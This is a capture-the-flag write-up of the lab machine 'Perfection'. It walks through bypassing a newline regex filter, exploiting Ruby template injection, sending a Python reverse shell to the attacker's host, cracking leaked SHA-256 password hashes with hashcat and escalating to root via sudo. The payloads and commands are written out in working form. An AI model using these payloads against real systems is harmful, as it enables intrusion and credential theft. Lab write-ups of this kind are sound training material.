Machine name | OS | IP | Difficulty |
---|---|---|---|
Perfection | Linux | 10.10.11.253 | Easy |
User
- Check if the host is responsive
First, let's verify that we can reach the host using a simple ping
command:
└─# ping 10.10.11.253
PING 10.10.11.253 (10.10.11.253) 56(84) bytes of data.
64 bytes from 10.10.11.253: icmp_seq=1 ttl=63 time=206 ms
64 bytes from 10.10.11.253: icmp_seq=2 ttl=63 time=105 ms
- Check the running services
Let's check all running services and their versions using the nmap
command:
└─# nmap -sV -sC 10.10.11.253 -Pn
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.11.253
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.27 seconds
-sV
- to get services with their versions.-sC
- to use default scripts.-Pn
- to skip the ping (as we already checked it in the first step).
The output shows that there are two running services with opened ports:
- Port
80
- running an HTTP server using NGINX (the version is unknown). - Port
22
- running an OpenSSH server version 8.9p1.
And the OS of the machine is, of course, Linux (probably Ubuntu).
- Check the web application
└─# whatweb 10.10.11.253
http://10.10.11.253 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx, WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)], IP[10.10.11.253], PoweredBy[WEBrick], Ruby[3.0.2], Script, Title[Weighted Grade Calculator], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block]
Using the whatweb
tool, we are able to determine the technologies used to build the web application. Here are the two main technologies identified:
Ruby
version 3.0.2 - programming language.WEBrick
version 1.7.0 - HTTP server toolkit. Therefore, the nmap scan was not entirely accurate; there is no NGINX server, or NGINX is used as a reverse proxy.
There are a few other headers returned:
x-content-type-options
X-Frame-Options
- this provides protection against placing the website in a frame and against clickjacking attacks. The SAMEORIGIN directive indicates that the site embedding this current site in a frame must be from the same origin.X-XSS-Protection
- activates the built-in protections against XSS within the browser. The block directive means any attempts will be blocked.
Going through the application, there are 3 endpoints:
http://10.10.11.253/
- the main page, nothing interesting here.http://10.10.11.253/about
- mentioned two people. As we don't have any login page, guessing the username won't be useful, so nothing interesting here.http://10.10.11.253/weighted-grade
- this take the user input and return it into the reponse, this can we interesting, let's investigate it further.
- Testing the endpoint for weighted grade calculation
A few points:
- Category columns get reflected in the output response:
- Grade is used for the calculation.
- Weight is used for the calculation.
- The sum of all weights has to be exactly 100.
- The Category column is a potential candidate for SSTI (Server-Side Template Injection) as the input is directly reflected in the output without any transformation.
- There is some type of filter that checks for malicious input:
Since the filter itself may be vulnerable, let's try to bypass it.
- Bypassing the filter to exploit SSTI
Using command:
cat /usr/share/wordlists/seclists/Fuzzing/special-chars.txt | jq -R -s -c 'split("\n") | map(@uri) | .[]' | sed 's/^"\(.*\)"$/\1/' | xclip -selection c
I get the content of the /usr/share/wordlists/seclists/Fuzzing/special-chars.txt
file, URL encode it, remove quotes, and paste it into the clipboard, so it can be copied into Burp Suite Intruder. However, this wordlist does not include three special characters: \r
, \n
, and space, which are URL encoded as %0a
, %0d
, and %20
, respectively. So let's add them.
With Burp Suite Intruder, we can determine which of the special characters are not blocked by the filter:
There are three characters (the first one is empty) not blocked by the filter:
- Space
- New line
- Forward slash
The new line is suspicious. The regex probably looks something like this: ^[0-9a-zA-Z \/].+$
^
- asserts position at the start of a line.[0-9a-zA-Z \/]
- matches alphabetic characters, numbers, forward slash, or space..+
- matches one or more occurrences of what is inside the[]
.$
- asserts position at the end of a line.
| NOTE: We will verify the assumption later, after we obtain the source code of the application.
The regex is vulnerable. If you put the payload after the newline, the regex will match the first line, so it will not be blocked, and the malicious input will be reflected. Let's test it using Burp Suite Repeater:
| NOTE: For payloads, I am using - PayloadsAllTheThings, section Ruby
, as we know that the application is written in ruby.
In the response page, there is 49
, so the SSTI was successful! The filter is bypassed. Let's test by injecting some shell commands.
- Injecting SHELL command
| NOTE: The payload is from - PayloadsAllTheThings
Using payload <%25%3d+``id``+%25>
(the URL-encoded form of <%= ``id`` %>
), we get uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
:
... susan is part of the sudo
group. Hmmm, interesting.
This way, we verified that we can call shell commands. Let's invoke a reverse shell.
- Reverse shell
Using page - revshells you we can create a reverse shell command in the language we prefer.
I used the following command:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
This way, you invoke the target system to connect back to your system:
POST /weighted-grade-calc HTTP/1.1
Host: 10.10.11.253
Content-Length: 191
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.253
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.253/weighted-grade
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
category1=asddd%0a<%25%3d+`python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.16.2",8888))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")'`+%25>&grade1=1&weight1=20&category2=asd&grade2=1&weight2=20&category3=asd&grade3=1&weight3=10&category4=asd&grade4=1&weight4=10&category5=asd&grade5=1&weight5=40
Before we make the request, we need to create a listener:
nc -nvlp 8888
And after make call the request, we get the reverse shell!!:
└─# nc -nvlp 8888
listening on [any] 8888 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.253] 48540
$ whoami
whoami
susan
$
- User flag
The user flag is in /home/susan/user.txt
.
Root
- Make better shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo; fg
export TERM=xterm
This way, the shell supports command completion, CTRL+C
can be used to interrupt the current process, and copy-pasting is much more user-friendly.
- Put some useful tools on the server
linenum
- LINENUM - used for local information enumeration.linpeas
- LINPEAS - used for finding ways to escalate the privileges.pspy
- PSPY - used for snoop on processes.
- Using
linenum
, we can find something interesting in/var/mail/susan
:
-e [-] Any interesting mail in /var/mail:
total 12
drwxrwsr-x 2 root mail 4096 May 14 2023 .
drwxr-xr-x 13 root root 4096 Oct 27 2023 ..
-rw-r----- 1 root susan 625 May 14 2023 susan
And inside, there is a message:
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student
Now we know that passwords are made using the following format - {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
, but we don't have anything to crack yet.
In the home folder, there is a directory named Migration
, and inside it, there is a .db
file.
Using sqlite3
I am able to get the content:
susan@perfection:~/Migration$ sqlite3 /home/susan/Migration/pupilpath_credentials.db .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
);
INSERT INTO users VALUES(1,'Susan Miller','abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f');
INSERT INTO users VALUES(2,'Tina Smith','dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57');
INSERT INTO users VALUES(3,'Harry Tyler','d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393');
INSERT INTO users VALUES(4,'David Lawrence','ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a');
INSERT INTO users VALUES(5,'Stephen Locke','154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8');
COMMIT;
And we have the hashes to crack.
- Cracking hashes using
hashcat
Using command:
hashcat -m 1400 -a 3 hash --increment --increment-min 12 --increment-max 22 susan_nasus_?d?d?d?d?d?d?d?d?d?d
We get the password: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
, and we are able to log in using SSH.
- Getting the root
As we know from previous observations that susan
is in the sudo
group, we can simply call sudo /bin/sh
:
susan@perfection:~$ sudo -l
[sudo] password for susan:
Sorry, try again.
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User susan may run the following commands on perfection:
(ALL : ALL) ALL
susan@perfection:~$ sudo /bin/sh
# whoami
root
And get the root flag from /root/root.txt
.
Assumptions verifications
- Running OS
We assumed, based on the OpenSSH version, that the running OS is Ubuntu
. Let's verify it using the uname -a
and cat /etc/os-release
commands:
# uname -a
uname -a
Linux perfection 5.15.0-97-generic #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
# cat /etc/os-release
cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Running OS - Ubuntu 22.04.4 LTS
.
- Regex used for filtering the input
We assumed that the filtering regex looks like this - ^[0-9a-zA-Z \/].+$
. Let's verify it by checking the source code of the application using the command cat /home/susan/ruby_app/main.rb
to get the used regex:
...
elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/
...
The assumption is not far from the truth; the used regex is ^[a-zA-Z0-9\/ ]+$
.